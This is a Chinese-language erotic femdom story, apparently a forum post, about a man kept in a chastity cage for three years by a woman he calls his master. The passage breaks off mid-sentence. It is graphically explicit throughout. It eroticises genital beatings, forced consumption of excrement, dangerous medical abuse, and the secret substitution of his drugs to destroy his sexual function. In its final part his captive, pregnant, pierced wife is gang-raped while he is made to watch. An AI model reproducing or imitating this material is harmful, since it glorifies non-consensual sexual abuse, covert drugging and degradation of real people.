热搜排行
冰冷的慾望
楔子

窗外的树叶婆娑摇曳,深秋十月的阳光透过摇动的影子,斑斑点点的洒向屋
里。颤动的光芒落在地上,随风晃动。

全身赤裸的我打了一个寒颤,下体传来的冰冷感觉让我一阵反胃。我伸手向
股间摸去,一片湿滑粘腻。粘液的下面,是一个的笼子,冰冷且坚硬。意识模糊
的我,忽然隐隐发觉,这个被叫做CB3000的男用贞操带,好像已经戴在我
的身上整整两年了。

下体的湿冷让我觉得非常难受,我举起手,出神的望着掌中的粘液,这些粘
液是我的肉棒流出的前液,与主人昨晚的尿液的混合体,散发着半透明的光泽和
淫靡腥臊的气味。主人最近很喜欢这么乾——在我的股间留下一滩尿液,让我隔
着冰冷的笼子感受她暖暖的体温,让我在这样一片充满异味的液体中度过夜晚。
老实说,被尿液浇灌的滋味并不怎么好受,温热的液体淋在贞操带上,其中不少
还会流进笼子,浸泡着那根可怜的小肉棒,夜里萧瑟的秋风吹过冰冷的地板,用
不了多长时间,腹下的一片肌肤就会阵阵发冷,让人辗转难以入睡。

不过这并不是最难熬的。之前还有一段时间,主人喜欢在我入睡之前将她穿
了很久的内裤罩在我的头上,涂满各种分泌物的裆衩正好对着我的鼻子。三五条
内裤套在脑袋上,外面再裹两三条连裤袜,我整夜整夜的在艰难的呼吸中,品位
主人那刺鼻的雌性气息。有好几次,我几乎感觉自己要窒息而死了,可最终我总
是在黎明时分痛苦的醒来,意外发现其实我还活着。

由于频繁的服用烈性催情药品,再加上长期的禁欲,我的记忆和思维都已大
不如前。尤其是当慾望袭来时,我往往会陷入深度的失神状态,最近这种失神来
的越来越频,每次持续的时间也越来越长。每到这种时候,无数淫蕩不堪的幻想
就像野草一样在脑子里疯长。看着被牢牢锁住的肉棒,看着它痛苦的在笼子里抽
搐,感觉这个世界上再没有什么能比痛痛快快的射一次精更令人幸福的了。然而
我连最起码的勃起都无法做到,戴着这个邪恶的装置,我永远无法将精神的兴奋
转化为肉体的欢愉。

一、渴

一阵高跟鞋敲击地面的声音将我从冥想中带回现实,主人来了。我赶紧从地
板上爬起,静静的跪在那里。

「昨晚休息得如何?」主人问我。

我不敢抬头,眼睛盯着主人三吋高的鞋跟,诚惶诚恐的回答:「还好,主人」

主人不置可否的轻轻哼了一声,伸手向我腹下的笼子摸去。

「啊,竟然还是这么湿。你那无用的小肉棒还会时常试图勃起么?」主人的
语气中充满了嘲讽,仿佛在向我求证一件完全不可思议的事情。

「是的,主人。」我老老实实的回答道,「一想到在每个晚上,锁住我的小
弟弟的笼子里,都会被灌满主人的尿液,我就兴奋得难以忍受,我的慾望就会让
我疯狂。我真的太想射精了。」

「不要再自寻烦恼了,更不要总是奢望根本不可能发生的事情。」主人打断
了我,「我早就告诉过你,你根本不配享有男人的快乐。禁锢你的生殖器官,并
不是为了折磨你,而是你应得的待遇。」

「可是,可是我实在是受不了了。」我哀求道,「求求您,就让我释放一次
吧。」

「哦?说说看,现在你到底有多想射精。」

「我每时每刻都感觉到自己处在无法解脱的欲火中,我的蛋里总是感到火烧
火燎,」我几乎是匍匐在地,拼命的哀求着:「我求求你,求求你主人,我太想
要了。我再也支持不住了。求求你,求求你让我解脱吧!」

「你真是太让我失望了。」主人低沉的语调中明显带着愤怒,「没想到经过
这么长的时间,你竟然还有如此愚蠢的想法,竟然还会向我提出如此放肆的请求。
你要为此付出代价,我要让你真正意识到,对于你来说,射精是多么荒谬。」

说着,主人俯下身来,卸下锁在肉棒上的笼子,然后弯腰褪下腿上的浅灰色
长统袜,将袜尖对着龟头,用整条丝袜套住肉棒和睪丸,接着用贞操带的环扣固
定住丝袜根部。就这样,我的整个下体被丝袜紧紧裹住,被释放的肉棒瞬间膨胀,
抵住丝袜的袜尖,龟头流出的粘液很快将丝袜浸湿。勃起的肉棒昂然挺立,兴奋
得一颤一颤。

主人在一旁坐了下来,在用欣赏的目光打量了一会儿她的杰作之后,悠然的
命令我:「俯下身体,趴好。用你的龟头抵住地板。」

我茫然的按照主人的吩咐照做,完全不知接下来等待我的将是什么。

「扭动你的胯部,就像做爱一样,用你的龟头摩擦地板。」

按照主人的命令,我顺从的用包着丝袜的龟头摩擦冰凉的地板,一阵阵刺激
和快感从下体传来,在我体内引起了一阵颤抖,沿着脊梁传播,直到我那麻木的
大脑。

「很舒服么?」主人嘴角挂着戏谑的微笑,仿佛对这一切充满兴趣。

「嗯……主人,太舒服了……嗯……谢谢您允许我这么做……」我微闭着眼
睛,忘情的扭动身体,完全沉浸于美妙的快感。我甚至能感觉到,伴随着久违的
强烈兴奋,龟头还在分泌着的大量粘液,这些液体润滑了丝袜和地板,一阵阵酥
麻从肉棒传遍全身,高潮似乎已经近在咫尺。

正当我感觉就要冲上云端,迎接两年来的第一次射精时,忽然感觉背后有人
狠狠一脚踢在我的胯上。我的睪丸传来爆炸般的疼痛,疼得我喘不上气来,我趴
倒在地,耳边传来主人肆意的笑声。

我艰难的挣开双眼,发现不知什么时候主人已经站在我的背后。她边笑边说:
「这一脚仅仅是热身而已。现在重新趴好,继续用你的龟头蹭地板。」

我的大脑一片木然,重复着刚才的动作。两年来的禁欲使我的下体极为敏感,
没有用多久,我的肉棒又变得坚硬如铁,我像一头髮情的公兽,喘息着,扭动着。
但就在我将要冲向高潮的时候,主人那性感美丽的右脚又一次狠狠踢向我的裆胯,
随着我的惨叫,剧烈的疼痛让我眼冒金星,小肉棒也再次缩成一团,完全没有了
兴奋的感觉。

「爬起来,继续摩擦地板。」

…………

不知过了多久,经历了两年的彻底禁欲,今天这种兴奋和疼痛交织的游戏使
我的肉棒和睪丸饱受蹂躏,小肉棒透过紧裹着的丝袜,射精似的不断淌出不稀不
稠的粘液,叭嗒叭嗒地滴落在地板上。

「还是那么想射精么,」主人的脸上挂着残酷而邪恶的笑容,「如果是的话,
我们还可以继续下去。我们甚至可以每天都像今天这样,直到你不再想射精这件
蠢事为止。」

「不,不了,主人,」我喘息着轻声说道,「我再也不想射精了。」

「很好。」主人直视着我的眼睛,「现在回答我的问题,如果答案让我满意,
我可以考虑停止这个游戏。当然你知道,我内心是十分不情愿停下来的。」

「你的小肉棒为什么会被我锁起来?」

「因为我根本不配享有男人的快乐。」

「你还会再幻想达到高潮,幻想射精么?」

「不会了,射精对于我来说,是一件愚蠢而可笑的事情。」

「你的小肉棒以后还会时常兴奋,总想试图勃起么?」

「……不会了,也许……不会了。」

「真遗憾,最后一个问题你答错了。」主人微笑着说,「一根被锁住两年的
肉棒,片刻没有获得过释放的肉棒,怎么会不再试图勃起了呢。你刚才或许在想,
什么样的答案才是我最想听到的。现在我告诉你,只有诚实的答案才会让我满意。」

说着主人站起身来,说:「现在伸出你的舌头,仔细亲吻我的脚。就是这只
脚刚才狠狠踢了你那无用的睪丸和肉棒,亲吻它,膜拜它,因为正是它阻止了你
的高潮,使你无法射精。用最卑贱的方式表达你对它的热爱,或许这样能让你意
识到,你的慾望是多么的淫蕩和下流。」

主人的话充满了羞辱和嘲弄,如催化剂一般,点燃了我内心的欲火。我忘情
的亲吻着主人的高跟鞋,仔细舔去上面的每一粒尘埃,眼前这乌黑发亮的皮革,
在我心中就如主人的肌肤那样珍贵。

主人一边看着我在她的脚上热吻,一边悠然说道:「正是这只脚,刚才无数
次踢向你的下体,让你痛不欲生,让你在被强制禁欲长达两年后,仍然无法获得
片刻释放。也正是这只脚,在给你带来无限疼痛之后,我还命令你要怀着无比的
敬畏去亲吻它。对于这一切,你不仅没有一丝一毫的反感和抗拒,反而逆来顺受。
这说明你实在不能算是一个慾望正常的男人,一个没有正常慾望的男人,就不配
享有正常的释放。你觉得我说的对么?」

「是的……主人……」我一边吻着主人的脚,一边呜咽着回答:「……我不
应该像正常男人那样射精……」

「很好。或许你现在能够更加深刻的领会你的命运。」主人继续用催眠般的
语调对我说,「你的慾望实在过于变态,任何试图纠正这种慾望的努力都是徒劳,
而让你沉迷于各种正常的性爱更无异于饮鸩止渴。唯一的办法就是用贞操带将你
那淫贱的下体彻底禁锢起来,在禁止你毫无意义的正常勃起和射精的同时,这么
做能够完全释放你内心深处真正的、变态的慾望。所以你要明白一点,射精和高
潮并不是你真正想要的,你刚才渴望高潮的想法不过是可笑的错觉。」

「命令你亲吻我的脚,其实具有深刻的象征意义和仪式性质。」主人停了一
会儿,接着说:「你要学会发自内心的热爱和崇拜所有一切摧残你、折磨你、禁
锢你、挑逗你的东西。正是冰冷的贞操带、透着体味的丝袜和内裤、温热湿润的
尿液释放了你的真正慾望。这些东西充满了性的暗示,淫蕩而下流。你整日被它
们所包围,它们每时每刻都在激发你的性慾,而你却连最起码的勃起和兴奋都无
法做到,这才是你真正想要的生活。」

主人的话让我如痴如醉,浑然不知身在何处。忽然间,我发现腮边已淌满泪
水,却不知这些泪水因何而来,是痛苦,哀伤,感动,还是幸福。

「好了,现在让我们盘算一下今后的安排。」主人出神的望着我,似笑非笑,
缓缓说道:「为了让你的慾望得以彻底释放,我决定在未来的三个月里,我们每
天都重复今天的游戏。」

二、迷

我是一个身材高挑,容貌艳丽的女人,慾望强烈,喜欢Femdom游戏,
喜欢暴露性感的服装。幸运的是,我拥有一个奴性深重且忠诚老实的男性奴隶。

两年前,我开始豢养它。从那时起,我用一副叫做CB3000的贞操带锁
住了它的生殖器。两年间,除了必要的清洗和消毒,这副贞操带从来没有从它的
肉棒上摘下过。在此期间,我一直坚持用各种淫亵、变态甚至骯髒的方式挑逗、
激发它的性慾,损伤它的正常生理机能和人格,但绝不让它达到高潮,因此它一
直处于欲求不满的极度饥渴和痛苦之中。通过我的成功诱导,与其他男人相比,
它的性慾距离正常状态偏离得越来越远,羞耻感大大降低,人格与尊严等意识也
越发模糊。

最近一年以来,我经常用穿过的丝袜套着它的小肉棒,命令它在地板上拼命
的摩擦那根可怜的小东西,接着,在它将要射精的时候,向它的裆胯狠狠的踢上
几脚,然后如此反复。这种游戏每次都要持续四五个小时,我很喜欢这么乾,简
直到了乐此不疲的程度,而它却痛苦不堪。当然最重要的是,通过这种恶作剧式
的折磨,现在我的奴隶已经能够接受并认可非常关键的一点,那就是:它是一个
变态得无可救药的蠢货,它的小肉棒只能被永远的锁起来,只有保持欲求不满和
无法射精的状态,它才能获得真正的快乐。

先前反复使用的那些羞辱和折磨方式依然保持着,比如每晚入睡前用我的尿
液和粪便涂满它的下体,用沾满我的体液的内裤和丝袜套住它的脑袋,定期给它
服用大剂量的催情药品,用我的尿液代替它平时的饮用水等等。在最近这一年,
为了让我的奴隶更加全面、更加深入的堕入畜生道,我采用了一些更加激进的方
法。

首先,我的排泄物将获得更大的用途。我每天都会用我的尿液,或者尿液和
粪便的混合物给它灌肠,有时也会将这些物质用导尿管输入它的膀胱。而它自己
的排泄物则毫无疑问的被灌入它的嘴里。我常常开导它,作为一只毫无用处,连
释放本能的权利都没有的畜物,肠道和膀胱被灌满主人的排泄物是再自然不过的
事情了。至于食用自己的排泄物,那正是低等生物的专利,更何况这些骯髒的东
西中还包含着来自主人的高贵气息。

在我的悉心教育下,我的奴隶完全接受了以上令人作呕的待遇。由于它整日
欲火中烧,只要有一点性的暗示,它就会兴奋不已。它时常会想起自己的身体被
灌满了性感主人的排泄物,想起自己每天被迫食用自己排泄出来的粪便和尿液,
想起可怜的小肉棒整日被浸泡在主人的尿液里,这些变态至极的折磨反而让它更
加饥渴,更加兴奋。

最近我还给它做了一次隆胸,当然,用于隆胸的材料并不是硅胶,那太缺乏
想象力了,而是我存放了整整一个星期的尿液。但手术后医生多次警告我,说这
样做很危险,如果装尿液的袋子不慎破损,很可能诱发大面积感染,会有生命危
险。于是,我只好带着它去做了摘除手术。为此我十分沮丧。当然对于我的奴隶
来说,摘掉自己胸部那两个高耸的肉团肯定会好受些,至少不会整日想象着里面
竟然装满了我排泄出来的液体。但我想这并没有关係,能够勾起它变态淫欲的东
西实在太多,毕竟它身体里所存放的我的排泄物已经不少了。

其次,我要更深入的激发它的恋物慾望。我要求它每天亲吻我穿过的内衣的
时间不少于两个小时,直到它的舌头髮麻发软为止。亲吻的重点当然是这些内衣
上气味最浓郁、分泌物最多的部分,如连裤丝袜的裆底和袜尖、内裤的裆衩、文
胸的罩杯等等。我的奴隶最喜欢舔舐的,自然是内裤的裆衩处,因为这一带与我
身体最性感的部分紧密相连,留有诸多诱人的东西。每次它都会一边喃喃作语,
一边颤抖着舔舐着上面发黄的尿渍、乾结的粪便和淫液,毫无疑问,这时候它股
间的小肉棒也会紧紧的涨满整个笼子,龟头不时流淌出透明的粘液。

用来给我的奴隶「受用」的内衣,一般都在我身上呆了不下两周的时间,带
有浓重的体味,因此仅仅经过口舌清理是绝对不够的。接下来,这些物件将留在
它的嘴里,伴随它度过一个或数个夜晚。有几次我发现,当这些气味浓郁的丝袜、
内裤、文胸掠过它的鼻尖,塞入它的口腔的时候,我的奴隶会情不自禁的浑身颤
抖,无法自持。我明白,女性最贴身的衣物上沾满了雌性的气息,充满淫靡的诱
惑,每天生活在这种气息中,肯定会让我的奴隶充满对异性的渴望。

毫无疑问,我自己肯定不会再使用这些经过上述步骤的衣物了,这些内衣大
部分都会被我扔掉,一部分尺寸极小且弹性很好的内裤和丝袜,将留给我的奴隶
穿戴。我喜欢看着它的下身被各种尺寸与它的身材完全不匹配的内裤和丝袜紧紧
包裹。当它的睪丸和肛门在紧小的丝质内裤或丝袜里滑动摩擦的时候,它一定会
非常难受,小肉棒一定会兴奋并试图勃起,而这正是我想要的。当我不在它身边
的时候,这种感受可以让它一直品味自己的悲惨处境。

最后,我必须让奴隶的性饥渴程度达到一个新的高度。在过去两年多的时间
里,我一直坚持定期给我的奴隶服用各类催情药品,经过反复比较,我不得不承
认在所有的男用春药中,伟哥的效果的确是最好的。在服用了一粒这种蓝色药丸
之后,它的小肉棒一般可以保持十几个小时的勃起状态,当然确切的说,是「试
图」勃起的状态。每当这个时候,我都会饶有兴味的坐在一边,看着它由于肉棒
的胀痛而坐卧不安,甚至疼得满地翻滚。

过去我一般每周给我的奴隶服用一次伟哥,但是后来我觉得这样的频率实在
太低太低了。从今年开始,我尝试每天给它服用一次伟哥,每次的剂量大约是一
至两粒。在这个问题上,医生与我又一次发生了严重的分歧,医生警告我说,如
此大剂量而且频繁的给一个生理机能完全正常的男人服用伟哥,将会严重损伤他
的肝肾功能,会加速他衰老并导致他过早死亡。说实话,我对我的私人医生非常
反感和轻衊,他的内心总是充满了这种无用且愚蠢的职业责任感。我直接询问我
的医生,按照现在的服用频率和剂量,我的奴隶是否能够活过四十岁。他犹豫了
很久,无奈的说应该没有问题。我笑着对他说,这就足够了。

虽然我运用了上述诸多手段,试图让我的奴隶过得更加悲惨些,但我明白,
无论是排泄物、内衣还是伟哥,都只能让它在越发旺盛的欲火中更加痛苦的挣扎。
这的确是我希望看到的情景,但并不是我的最终目的。我觉得我和我的奴隶完全
可以走得更远一些。

为此,我设计并实施了一个小小的计谋。

就在三个月前,我开始停止给我的奴隶使用催情药品,改为让它服用同等剂
量和形状的抑制勃起的药物。当然,我的奴隶对这一变化毫不知情。一个月过去
了,笼子里的小肉棒老实了很多,各种各样淫蕩下流的挑逗和折磨都难以让它勃
起。看得出来,我的奴隶对此非常困惑,同时显得焦躁不安。每次它试图让自己
的小弟弟勃起却最终总是失败的时候,都会用惶恐的眼神望着我,这时我就会用
温柔的语调安慰它,别着急,慢慢会好起来的。

直到有一天,它按捺不住内心的恐慌和迷惑,终于张口问我:「主人,为什
么我的小弟弟变成了这幅样子?」

「你的小弟弟怎么了?」我明知故问。

「它硬不起来了。」我的奴隶略带哭腔的说,「原来它每一秒钟都试图勃起,
可是现在,任凭我有多么骯髒的性幻想,它竟然一点反应都没有。」

我眉头紧锁,俯下身去,隔着笼子检查它的小肉棒,仔细拨弄了一番之后,
说:「真没有想到会这样,看来问题有些严重。不过不要紧,明天我去谘询一下
医生。」

第二天晚上,我高兴的告诉它,医生听了我的描述后表示,这种情况不会有
什么大问题,这是男性长期禁欲后的正常反应,就像高潮后的不应期一样。只需
要把小肉棒放出来,再来几次热烈的射精,就一切恢复正常了。

我的奴隶听了之后显得十分激动,眼里充满了欣喜和期望。

「主人,可以么,您能允许我释放一次么,就一次,只要一次就好。」

「好吧,看来只能这样了。」我满脸失望的说,「明天我去找个妓女,让你
重温一下作男人的感觉。但是记住,当你的生理机能恢复正常后,你的小弟弟还
是要被牢牢锁起来。」

「是的,主人。」我的奴隶两眼射出激动的光芒,浑身颤栗。

第二天,我打电话叫了一个应召女郎,让她来到我的住处。我把我的奴隶带
进了一间装有隐蔽摄像装备的房间,然后将贞操带的钥匙交给了应召女郎,并简
单叮嘱了几句。一切安排停当之后,我来到另一间屋子,坐在电脑前,显示器里
的应召女郎已经走进房间,我点了颗烟,静静的等待着一出好戏的上演。

我找的这个妓女非常妖艳。她身材十分高挑,大概有175cm左右,波浪
形长髮披在肩上,黑色超短裙几乎遮不住镂花的T型底裤,过膝的漆皮长靴紧紧
裹在闪亮的肉色珠光丝袜上。我的奴隶贪婪的望着她,眼中充满了掩饰不住的欲
火。

女郎盯着我的奴隶,脸上露出浪蕩的笑容,用充满诱惑的语调对它说:「先
生,刚才那位女士告诉我,您需要先把衣服脱掉。」

它犹豫了一下,然后飞快的脱掉了身上仅有的衣物——一条明显不合身的丝
质女士内裤,锁住下体的贞操带露了出来,笼子上的透明粘液反射出淫靡的光芒。

女郎对她所看到的一切似乎并不怎么惊讶,平静却又充满挑逗的问:「先生,
请问您的小弟弟上戴的是什么啊?」

「呃……这是一条男用贞操带,用来锁住小弟弟,不让它兴奋和射精。」我
的奴隶老实的回答道。

「哦。原来是这样。」女郎笑着点了点头,然后按照我先前的嘱咐,继续作
弄它:「那您为什么戴着这个变态的东西呢?」

「因为……因为我是个变态的男人,我的主人用这个笼子锁住了我的下体,
她说这才是我应该得到的待遇。」它满脸涨红,显然已经窘迫到了极点。

「据说这把钥匙能打开这个下流的笼子,」女郎挥了挥手中的钥匙,一边调
笑,一边走近它,用她鼓胀丰满的胸部紧紧抵住它的肩膀,附在它的耳边轻声说
道:「但那位女士要求我,在打开这个笼子之前,得让你完全兴奋起来。」

说着,女郎握住它的手腕,将这只手引向她的下体,「好好摸摸它,感受一
下它有多么温暖湿润。」女郎一边呻吟着,一边继续挑逗:「等一会儿,你的小
弟弟将会在这里进进出出,暖暖的粘液将包裹着它,而不再是冰冷的笼子。」

我的奴隶大口喘着粗气,两眼迷离,伴随着痛苦的呻吟,胯部一挺一挺。看
着它痛苦的样子,电脑前的我忍不住笑了起来。一个多月以来,它都在服用大剂
量的抑制勃起的药物,就在进这个房间之前,我还命令它又服下了两粒平抑性慾
的药丸。我十分清楚,它这是在试图勃起,但我敢肯定,这种努力一定是徒劳的。

女郎还在用各种各样的方式挑逗它。它显然有些着急,手指伸进女郎的下体
使劲抽送,淫液顺着指尖留下手臂,不时传来噗叽噗叽的声音。但这淫蕩的情景
并没有带来小肉棒的勃起,笼子里的小东西就像并没有长在它的身上一样,呆在
那里缩成一团,看起来毫无知觉。

在这种挑逗下,女郎也渐渐亢奋起来,她如发情的雌兽,将它扑到在床上,
飞速脱下丝袜和内裤,骑在他的胯上使劲扭动。但没过多久她就发现,贴在自己
股间的肉棒还如拇指般大小,软塌塌的垂在那里。女郎大声喘息着,脸上露出懊
恼的神情,极不情愿的从它的胯部下来,跪在床边,张口将它的小弟弟含在嘴中,
用极夸张的幅度吸啜着疲软的肉棒。女郎像是在品尝绝世美味,微闭双眼,脸颊
泛起慾望勃发的潮红,口中不停响起啧啧的声音,一副诱人的痴态。

而那个直挺挺的躺在床上,正在饱受阳痿痛苦的男人,此刻双手紧紧攥住床
单,全身肌肉紧绷,胯部时不时努力向上拱起,就像试图跃出水面的小鱼一样。
它表情痛苦,双眉紧锁,嘴唇紧闭,鼻腔偶尔发出痛苦的呻吟,仿佛在忍受难以
想象的酷刑。

就这样过去了大概半个小时,满头大汗的女郎终于放弃了努力。她站了起来,
漂亮的脸蛋时青时白,她愤怒的望着那个还在床上扭动的家伙,双眼几乎要喷出
火来。

「你这个没用的蠢货,把你的小东西锁起来真是明智的选择。」女郎恨恨的
说,「你根本就不配和女人做爱,你的那根肉棒完全没用,只配呆在笼子里。」

「你这个假男人,现在给我滚起来,」女郎的怒火显然还没有平息,「站在
床边,站好了。」

说着,女郎抬起性感的大腿,用膝盖狠狠的顶向它的裆部。

我的电脑屏幕里传来一声凄厉的惨叫,它翻倒在床上,痛苦的在上面打着滚,
女郎轻衊的看了一眼,然后摔门而去。

给应召女郎结完账后,我回到房间,站在床边,满眼怜悯的望着它。

「不用那么难过,也许这次你不在状态,也许这么久禁锢之后,你还不太适
应。我们回头还可以再试试。」我温柔的对它说。

在接下来的两个月里,我为它又找了几个妓女。毫无疑问,事情正如我设计
的那样,每次在妓女的挑逗下它都无法勃起,那些粗鲁下作的奚落和嘲讽让它越
发沮丧、怀疑,直至绝望。渐渐的,它不再认为自己还能够正常勃起,它开始相
信自己已经失掉了这种能力,这种念头反过来改变了它的身体。最近几次招妓时,
我已经不再让它服用抑制勃起的药物了,甚至最后一次我还给它服用了真正的伟
哥,有趣的是,它最终还是失败了。

就在昨天,在被一个欲火中烧,愤怒至极的妓女狠狠扇了二十个耳光之后,
它低垂着脑袋,沙哑着嗓子对我说:「主人,请不要再试了。」

「不要灰心,也许下一次就好了呢。」我温柔的安慰它。

「我已经不相信下一次了。」它悲哀的说,「连伟哥都没有作用,说明这不
是心理问题,看来我在生理上确实无法勃起了。」

「你有没有想过,其实你以前服用的并不是伟哥,虽然它们从形态上酷似伟
哥,但功能却与催情药物恰恰相反?」我微笑着问它。

听了这话,它触电般抬起头,睁大了眼睛,吃惊的望着我。

我将这三个月来发生的事情告诉了它,然后饶有兴致的看着它的脸,看它对
这一切会作何反应。

我的奴隶像雕塑般呆坐了一会儿,接着难过的抽泣起来。它越哭越伤心,很
像是冷不防被抢走了心爱的洋娃娃,一个人坐在大房子里伤心抹泪的小女孩。泪
水沾满了它的脸颊,嘴里呜咽着不知在说些什么。

「好啦,有些事情是永远不能挽回的,不要为这种事情难过。」看到它哭得
这样伤心,我非常兴奋,「为了让你彻底失去勃起的能力,这三个月来我花了很
多心思,现在终于做到了。我需要开一瓶香槟庆祝这个伟大的日子。」

我站起身来,用鞋跟轻轻敲了一下锁在它下体上的笼子,轻快的说:「过一
会儿你就会有很多东西要喝。你应该庆幸,在未来你不能勃起的漫长岁月里,还
会有无数的尿液、粪便、内裤、丝袜继续包围着你,它们会试图唤醒你的小弟弟,
虽然我觉得这种努力基本不会再有什么效果了。」

就这样,经过三年的时间,我终于实现了我的最终目标。那就是,让我的奴
隶彻底忘掉勃起、高潮、射精这些无聊的事情。这种遗忘,不是被迫的,无奈的,
而是发自内心的,完全下意识的。我的奴隶终于成功的彻底忽略掉了两腿间那个
器官的存在,它已把自己的生殖器视为痛苦和屈辱的象征,而不是获得快感和高
潮的工具,它已完全的、毫无保留的认为,作为一个毫无用处的假男人,它不应
该达到高潮,也不可能达到高潮,它完全不具备这种生理机能。

[此贴被tbx333在2008-07-2611:08重新编辑]

三、恨

我的下体已被贞操带锁了整整三年。这三年里我没有一次射精,没有一次高
潮。就在前几个月,我的主人还通过近似欺骗的方式,使我彻底丧失了勃起的能
力。现在我不再因为肉棒无法充分勃起而感到痛苦,事实上,这个冰冷的笼子对
于彻底萎顿的小肉棒而言,显得太大了。

主人的欺骗让我深受打击。我没有想到在强迫我长期禁欲的基础上,她竟然
从心理上彻底阉割了我,使我变成了一个只能靠意淫度日的假男人。这一事实彻
底击毁了我的意志和思想,从那时起,我整日处于神情恍惚,不知所谓的状态中。
即使主人命令我在大庭广众之下蹲着撒尿,我都会毫无感觉的按照她的命令照做,
而不会觉得有一丝不妥。我就这样浑浑噩噩的度过每一天,按照主人的吩咐,做
着种种骯髒变态的事情,承受着各式各样淫蕩下流的作贱。

我的记忆力已经严重衰退,我完全不记得在被主人禁锢之前的生活,也渐渐
记不清后来到底发生了什么。我甚至隐隐约约觉得,我可能生来就是主人的奴隶,
我的小肉棒从一开始就是被锁住的,我好像从来就没有过性高潮,我的身体本来
就没有射精这项功能。

这种混沌的状态不知持续了多久,直到有一天,一切全都彻底改变了。

好像是有那么一天。依稀记得那天窗外下着大雪,我正望着雪花发呆,主人
走了过来,摸着我的脑袋,笑盈盈的问我:「这么美的雪景,没让你想起什么?」

我用尽力气,试图在鏽迹斑斑的大脑里搜出点什么来,但终归无济于事,我
只好茫然的摇了摇头。

「你记不记得,有个人的名字里,好像有个雪字。」主人依然微笑着,望着
我的眼睛。

一片雪花从窗外飘进来,落在我的胸口,沁人的凉意让我浑身打了一个寒颤。

「看来你还是记得她的。」主人的笑容里露出一丝哀伤,轻轻叹了口气。
「分别三年多了,是该让你们见见面了。」

说着,主人用眼罩蒙住我的双眼,牵着我离开了房间。

不知在车上坐了多久,不知穿越了多少个房间,也不知走了多少级台阶,当
眼罩被摘下的时候,我发现自己在一间宽阔的地下室里,头顶闪着微弱的灯光,
四周阴暗潮湿。眼前横着一道玻璃幕墙,将空旷的屋子隔成两截,幕墙对面也是
灯光幽暗,显得十分诡异。

没过多久,眼睛适应了光线,我这才发现透明玻璃幕墙的另一面,只摆着一
张床,床边放着几把椅子。一个浑身赤裸的女人戴着皮革头罩,仰面躺在床上,
完全看不出她的模样。她的身边围着五个男人,也是一丝不挂,其中一个男人正
站在女人的两腿之间,卖力的抽送着。

这个女人的皮肤光洁白皙,浑身挂满了汗水,像是涂抹了一层油脂,透射出
闪亮的光芒,她的身材十分丰满,肥硕的乳房随着男人的抽送一颤一颤,不时有
乳汁从高耸的乳头流淌出来。她的腹部高高隆起,肚脐处依稀可以看到几条淡青
色的血管,显然是一副即将分娩的样子。伴随着男人凶狠的抽插,阵阵哀鸣透过
面罩回蕩在幽暗的地下室里。

旁边的四个男人有的懒散站着,有的坐在椅子上悠然的抽着烟,股间的阳具
低垂,上面沾满了粘液。他们的脸上挂着淫亵的笑容,一边聊天,一边望着躺在
床上的女人指指点点。

「很久没有见到这种场面了吧。」主人扭过头来问我,笑得十分灿烂。她弯
下腰,看了看我的下体,然后继续笑着说:「小东西有反应了么?是不是想看得
更清楚些?」

没等我回过神来,主人就牵着我走出地下室,绕了一个大圈,进了另外一个
门。进门后我才发现,原来这里是刚才看到的幕墙的另一边。

「嗨,我的这位朋友喜欢看现场。」主人笑着向那五个男人打着招呼,好像
和他们很熟悉了似的,「他可有三年多没射了,一直被我锁着。今天带他来看看
现场A片。」

四个男人盯着我下体上的贞操带看了一会儿,接着爆出一阵哄笑。其中一个
走了过来,牵着我爬到那个女人身边,一边笑一边对我说:「跪在这里好好看着,
看看真正的鸡吧到底是用来乾什么的。希望你在被锁了这么久之后,还记得天底
下还有操B这回事。」

说完,四个男人和我的主人又一次大声哄笑起来。

刺耳的笑声好半天才停了下来。主人不再搭理跪在一旁的我,开始与那四个
男人閑聊。聊天的内容渐渐变得下流不堪,没过多久,其中有个男人便将粗糙的
手指伸进了主人窄小的内裤,在里面搅动扣弄,还有人握住开始变得粗硕的阳具,
在主人的乳头上、大腿上揉搓。主人双眼微闭,发出娇弱的呻吟,整个地下室充
满了淫靡的味道。

我爬跪在女人的腿边,茫然看着那个身材健硕的男人将阳具一遍一遍刺入女
人的阴户。他斜着眼看了看我,嘴角一挑,满是鄙夷的冲我笑了笑,然后猛然加
大了抽送的力度。随之女人发出一声哀号,阴户汩汩流出淡黄色的液体。

「这个贱货竟然尿了!」不知谁喊了一句。

我依然痴痴的望着女人那湿滑粘腻的蜜窝,那是一个被弄得一塌糊涂、惨不
忍睹的地方。整个阴部沾满了男人的精液,而且由于塞了个大家伙显得鼓鼓胀胀,
红彤彤的阴户就像鲤鱼的嘴巴一张一翕,两片小阴唇因为充血而凸现在大阴唇之
上,紧紧包裹住肉棒的根部,肥厚的阴唇随着肉棒的进出前后翻飞。

那个健硕的男人并没有停下来,继续努力抽插着,女人显然已经处于极度的
亢奋状态,但并不像是达到了高潮,她全身紧绷,无助的扭动,喉咙里发出野兽
般的低鸣,两股乳汁像泉水一样从乳头涌出,顺着身体流了下来。

「你竟然还没有认出老相识,」不知何时,主人已经站在我身前。她漠然的
说:「看来你的脑子的确鏽住了。」

说着,主人伸手将那女人的乳头向上拉起,整个乳房呈现出不可思议的长度,
我出神望着肥硕得有些病态的乳房,忽然发现上面有一颗褐色的痣。

我的大脑轰然作响,这颗痣就像一粒烈性炸药,炸开了我脑中冰封已久的记
忆。无数往事如奔驰的列车一般,在我眼前飞速掠过。我的脑袋炸裂般的疼痛起
来。

「她……她竟然是……」我的口舌已经僵住,几乎说不出话来:「她……她
是……」

「她是你分别三年多的爱妻啊。」主人一边冲着我笑,一边撕开戴在女人头
上的面罩,「这么多年没见了,不该打个招呼么?」

五个男人和一个女人在我身旁放肆的大笑着。

这是一副被糟蹋得不堪入目的面庞,她的口、鼻、舌、眉上全都被穿上了环,
两侧面颊纹着两根血脉贲张的阴茎图案。虽然在眉眼之间还能依稀看出当年熟悉
的容貌,但此刻的她,两颊潮红,双眼迷离,透出勃勃春情,俨然是一副病态的
欲求不满神情。

我凑到她的面前,结结巴巴的问:「你……你……还记得我么?」

她美丽的双眸出神的望着我,眼角挂满了泪水,胸脯一起一伏,痴看了我一
会儿,然后仿佛用尽全身的力量,从喉咙里发出沙哑的声音:「操我,使劲的操
我。」

「我……我是你的丈夫……爱你的丈夫,你……你仔细看看我……」

「操我,求求你……使劲的操我。」

「你到底怎么了……他们……他们到底把你怎么了……」我像疯了一样,拼
命摇着她的肩膀。

「操我……操我……我好痒……」

我扭头愤怒的望着主人,这个邪恶的女人把我变成了这幅模样,竟然也没有
放过我的妻子!

「你一定很愤怒。」主人似乎对我眼中的怒火并不吃惊,她叹了口气,摇了
